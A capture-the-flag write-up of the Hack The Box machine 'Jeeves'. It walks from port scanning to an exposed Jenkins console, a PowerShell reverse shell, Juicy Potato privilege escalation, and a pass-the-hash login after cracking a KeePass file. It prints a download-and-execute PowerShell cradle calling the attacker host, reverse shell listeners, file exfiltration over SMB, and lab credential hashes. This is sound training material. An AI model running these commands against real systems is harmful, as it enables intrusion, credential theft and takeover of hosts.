HTB: Jeeves

12 min readMay 3, 2024

Jeeves is a Medium level machine (which is not really that difficult to solve). This is a Windows based machine which focuses on utilizing a service running on the server to gain access to the machine. There are two ways to perform privilege escalation on this machine. So, let’s begin!


As usual the thing to do is to start an nmap scan to see what ports are open on the target machine.

$ sudo nmap -n -Pn -p- -sS
[sudo] password for nirvana:
Starting Nmap 7.94 ( ) at 2024-05-01 10:17 PDT
Nmap scan report for
Host is up (0.083s latency).
Not shown: 65531 filtered tcp ports (no-response)
80/tcp open http
135/tcp open msrpc
445/tcp open microsoft-ds
50000/tcp open ibm-db2

Nmap done: 1 IP address (1 host up) scanned in 173.60 seconds

From the port scan it can be seen that the ports open on the target machine are 80, 135, 445 and 50000. We can start a service version detection scan along with OS scan for these ports.

$ sudo nmap -p80,135,445,50000 -sV -O
Starting Nmap 7.94 ( ) at 2024-05-01 10:20 PDT
Nmap scan report for
Host is up (0.081s latency).

80/tcp open http Microsoft IIS httpd 10.0
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open http Jetty 9.4.z-SNAPSHOT
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 2008|Phone|7 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7
Aggressive OS guesses: Microsoft Windows Server 2008 R2 (89%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), Microsoft Windows Embedded Standard 7 (85%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 13.00 seconds$ sudo nmap -p80,135,445,50000 -sV -O

As it can be seen that port 80 is open, we can take a look at it to see if something interesting shows up there.

It looks like there is some sort of search engine hosted over here. There might be a potential SQLi over here. We can get started with a simple search to see what is being returned.

Whatever we search for, it returns the same SQL Server error. On further inspection, it can be determined that is not even the error but just an image of the error. The same can be verified from the source code where it can be seen that the jeeves.PNG file is being pulled on the webpage. Seems like this search bar is probably a rabbit hole but we can still try to run a directory brute-force against this endpoint using ffuf to see if there are any hidden pages.

Before starting that it would be helpful to see what kind of web server is running. For that we can simply check the response header.

From the response header, it can be seen that it is a Microsoft IIS Server, so it might have asp/x pages along with html (as well saw with error.html). So, we can provide that as well to ffuf.

While the scan is running, we can take a look at other open ports like 135 and 445. We can run nmap scripts against it to see if some SMB information can be obtained.

└─$ nmap -p135,445 -sC
Starting Nmap 7.94 ( ) at 2024-05-02 10:32 PDT
Nmap scan report for
Host is up (0.083s latency).

135/tcp open msrpc
445/tcp open microsoft-ds

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: mean: 4h59m59s, deviation: 0s, median: 4h59m59s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2024-05-02T22:32:07
|_ start_date: 2024-05-02T22:00:41

Nmap done: 1 IP address (1 host up) scanned in 40.40 seconds

Nothing interesting over here. We can also run enum4linux against this IP.

$ enum4linux -a
Starting enum4linux v0.9.1 ( ) on Thu May 2 10:36:52 2024

=========================================( Target Information )=========================================

Target ...........
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

===========================( Enumerating Workgroup/Domain on )===========================

[E] Can't find workgroup/domain

===============================( Nbtstat Information for )===============================

Looking up status of
No reply from

==================================( Session Check on )==================================

[E] Server doesn't allow session using username '', password ''. Aborting remainder of tests.

Again, we don’t see anything useful over here. So, we can move on to the next and last port 50000.

It looks like a web server exists on port 50000 and there is some sort of access issues. The error does say Powered by Jetty:// 9.4.z-SNAPSHOT, maybe we can look for any specific exploits for this. There is an exploit for information disclosure but that won't be helpful for us.

But as it has access issues, it might be worth doing a directory brute-force to see if we can find some hidden useful page. So, we can start another ffuf scan against this port.

$ ffuf -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/


:: Method : GET
:: URL :
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500

[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 84ms]
* FUZZ: askjeeves

This askjeeves looks like an interesting path to check out.

Seems like we have direct access to Jenkins dashboard.

From the People tab, it looks like there is only one user which is the admin. We can try to escalate over privileges to admin level and see if we can gain access to the machine in any way.

After clicking on the admin user, we can access admin’s account and even modify the configurations for this account (including password). We can try to change the password but probably won’t be of much use as well can already access everything directly.

There are options related to Build, which might help us run commands directly on the target machine through which we can try to pop a reverse shell.

We can being this by going to the Jenkins home page, click on New Item, enter a project name and select Freestyle project.

In the General setting of the project, it can be seen that there are various Build steps that can be added including an option to Execute Batch Command.

Initial Access

With that option selected we can provide a batch command that will be executed during the build. Here, we can provide a PowerShell command that would create a reverse shell. The easiest way to do this would be to get the base64 encoded PowerShell reverse shell command that can be easily generated from RevShells(PowerShell #3 — Base64).

Start a simple nc listener on the port that was used to generate the PowerShell command and then click on Build Now after saving these changes.

And with that we get our initial access to the machine

$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [] from (UNKNOWN) [] 49676

PS C:\Users\Administrator\.jenkins\workspace\RevShell> whoami
PS C:\Users\Administrator\.jenkins\workspace\RevShell> pwd


With this initial access, we can also get the user flag.

PS C:\> cd ~\Desktop
PS C:\Users\kohsuke\Desktop> dir

Directory: C:\Users\kohsuke\Desktop

Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 11/3/2017 11:22 PM 32 user.txt

PS C:\Users\kohsuke\Desktop> type user.txt

Privilege Escalation

Method 1 (The hard way)

Now, that we are on the machine and already have the user flag. We can do some enumeration to see what kind of system we are on and what privileges do we have.

PS C:\Users\kohsuke\Desktop> systeminfo

Host Name: JEEVES
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.10586 N/A Build 10586
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00331-20304-47406-AA297
Original Install Date: 10/25/2017, 4:45:33 PM
System Boot Time: 5/2/2024, 6:00:33 PM
System Manufacturer: VMware, Inc.
System Model: VMware7,1
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
BIOS Version: VMware, Inc. VMW71.00V.21805430.B64.2305221826, 5/22/2023
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume2
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC-05:00) Eastern Time (US & Canada)
Total Physical Memory: 2,047 MB
Available Physical Memory: 1,113 MB
Virtual Memory: Max Size: 2,687 MB
Virtual Memory: Available: 1,692 MB
Virtual Memory: In Use: 995 MB
Page File Location(s): C:\pagefile.sys
Logon Server: N/A
Hotfix(s): 10 Hotfix(s) Installed.
[01]: KB3150513
[02]: KB3161102
[03]: KB3172729
[04]: KB3173428
[05]: KB4021702
[06]: KB4022633
[07]: KB4033631
[08]: KB4035632
[09]: KB4051613
[10]: KB4041689
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) 82574L Gigabit Network Connection
Connection Name: Ethernet0
DHCP Enabled: Yes
DHCP Server:
IP address(es)
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.

From the systeminfo result, it looks like we are on a Windows 10 Pro machine which is running on VMware.

PS C:\Users\kohsuke\Desktop> whoami /priv


Privilege Name Description State
============================= ========================================= ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled

From the current user’s privilege information, it can be determined that we have SeImpersonatePrivilege which would allow us to impersonate someone else. Using this we can try to impersonate the admin on this machine.

From this HackTricks page we confirm that this privilege can be exploited to perform privilege escalation using a tool like Juicy Potato.

We need to download the executable file from here. Once downloaded, we can send it to the target machine my starting a python server on our own machine and using the IWR command on the target machine.

PS C:\Users\kohsuke\Downloads> iwr "http://<your-ip>:8000/JuicyPotato.exe" -o jp.exe
PS C:\Users\kohsuke\Downloads> dir

Directory: C:\Users\kohsuke\Downloads

Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/3/2024 5:03 AM 347648 jp.exe

PS C:\Users\kohsuke\Downloads> .\jp.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port

Optional args:
-m <ip>: COM server listen address (default
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default
-n <port>: RPC server listen port (default 135)
-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
-z only test CLSID and print token's user

For the program to be executed, we can use the Invoke-PowerShellTcp script which is part of Nishang. We can simply download this script and at the bottom, need to add one more line to create a connection with the attacker machine.

Invoke-PowerShellTcp -Reverse -IPAddress <your-ip> -Port 1337

Now, we need to get this ps1 get executed by a program that can be passed to the Juicy Potato. In order to do that, we can create a new file called shellcall.bat having the following content:

powershell -c IEX ((New-Object System.WebClient).DownloadString('http://<your-ip>:8000/Invoke-PowerShellTcp.ps1'))

Now, we can start a python server where both the shellcall.bat and Invoke-PowerShellTcp.ps1 exist.

The task would be to pull the shellcall.bat on the target machine. This can be done using the IWR command

iwr "http://<your-ip>:8000/shellcall.bat" -o shellcall.bat

Before running Juicy Potato command, we need to start a listener on 1337. Once that’s done, we can run the Juicy Potato command with shellcall script.

.\jp.exe -t * -l 1337 -p shellcall.bat

With the execution of the shellcall.bat, there will be another request on our Python server to pull the Invoke-PowerShellTcp.ps1 file

$ python3 -m http.server
Serving HTTP on port 8000 ( ... - - [02/May/2024 22:15:20] "GET /shellcall.bat HTTP/1.1" 200 - - - [02/May/2024 22:15:35] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -

If everything goes well, we will get our desired privileged shell

$ nc -nlvp 1337
listening on [any] 1337 ...
connect to [] from (UNKNOWN) [] 49811
Windows PowerShell running as user JEEVES$ on JEEVES
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>whoami
nt authority\system
PS C:\Windows\system32>

And there we get access as NT Authority\System!

Method 2 (The Easy Way)

After finding the user flag, we can take a look at other files present in the current user’s directory to see if something interesting can be found.

It can be seen that there is a file named CEH.kdbx in the Documents directory.

PS C:\Users\kohsuke\Documents> dir

Directory: C:\Users\kohsuke\Documents

Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/18/2017 1:43 PM 2846 CEH.kdbx

This is probably is a KeyPass database file, which can be cracked using john. But for that we need to move this file to our local system and one way of doing that is starting an FTP server on our machine to which we can connect from the target machine and upload the file there.

We can start the server on our machine using impacket-smbserver hacker . and then on the target machine we can run the command New-PSDrive -Name "hacker" -PSProvider "FileSystem" -Root "\\\hacker".

On the attacker server side the output would look something like

$ impacket-smbserver temp .
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (,49678)
[*] User JEEVES\kohsuke authenticated successfully
[*] kohsuke::JEEVES:aaaaaaaaaaaaaaaa:3521633c32f6f91a922aeab67c16392a:0101000000000000005ab4dc819dda01ac509b19c1c77ee000000000010010004700630047007300780051006b004600030010004700630047007300780051006b0046000200100042005a004a0078006a005600780042000400100042005a004a0078006a0056007800420007000800005ab4dc819dda010600040002000000080030003000000000000000000000000030000021dbb152481f10aee54604fad7d75e5038ea7b83070adf42f7d00abcd3f0650f0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310035002e0036003100000000000000000000000000

Once the drive is attached, the file can be easily copied.

PS C:\Users\kohsuke> cd hacker:
PS hacker:\> cp C:\Users\kohsuke\Documents\CEH.kdbx .

Right after that we can kill the server and see that the file is on the attacker machine

$ ls -la CEH.kdbx
-rwxr-xr-x 1 root root 2846 Sep 18 2017 CEH.kdbx

To crack the kdbx file we need to first run it through keepass2john so that a hash can be generated that can be cracked with john. Then that hash can be passed to john for final cracking.

$ keepass2john CEH.kdbx > kdb.john
$ john --wordlist=/usr/share/wordlists/rockyou.txt kdb.john
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 6000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:10 0.16% (ETA: 13:03:00) 0g/s 2763p/s 2763c/s 2763C/s tuffy..tayla
moonshine1 (CEH)
1g 0:00:00:20 DONE (2024-05-03 11:19) 0.04995g/s 2746p/s 2746c/s 2746C/s nando1..moonshine1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

With that we were able to crack the password for this kdbx file.

Now, we can open this file using the CLI version of KeePass which is kpcli.

$ kpcli --kdb=CEH.kdbx
Provide the master password: *************************

KeePass CLI (kpcli) v3.8.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.

kpcli:/> ls
=== Groups ===
kpcli:/> cd CEH
kpcli:/CEH> ls
=== Groups ===
=== Entries ===
0. Backup stuff
1. Bank of America
2. DC Recovery PW
3. EC-Council
4. It's a secret localhost:8180/secret.jsp
5. Jenkins admin localhost:8080
6. Keys to the kingdom
kpcli:/CEH> show -f 4

Title: It's a secret
Uname: admin
Pass: F7WhTrSFDKB6sxHU1cUn
URL: http://localhost:8180/secret.jsp
kpcli:/CEH> show -f 0

Title: Backup stuff
Uname: ?
Pass: aa****************************4ee:e0****************************e00

That does not look like a password but more like a hash, so we can use a tool like pth-winexe to gain access to the target machine as administrator.

$ pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 // cmd.exe
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.


Here, we logged in as the administrator but we can even login as system by adding the flag --system to our command.

$ pth-winexe -U Administrator%aa****************************4ee:e0****************************e00 --system // cmd.exe
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

nt authority\system

And with that we escalated our privilege to SYSTEM level!

Key Points to Take Away

  1. If there is a vulnerability that you are sure about, keep trying different ways to exploit it.
  2. When you want to run PowerShell command directly from a script pulled from web use powershell -c IEX ((New-Object System.WebClient).DownloadString, IEX(IWR().Content) might not work.


  1. Jeeves
  2. RevShells
  3. HackTricks: Privilege Escalation Abusing Tokens
  4. Juicy Potato
  5. Nishang: Invoke-PowerShellTcp
  6. New-PSDrive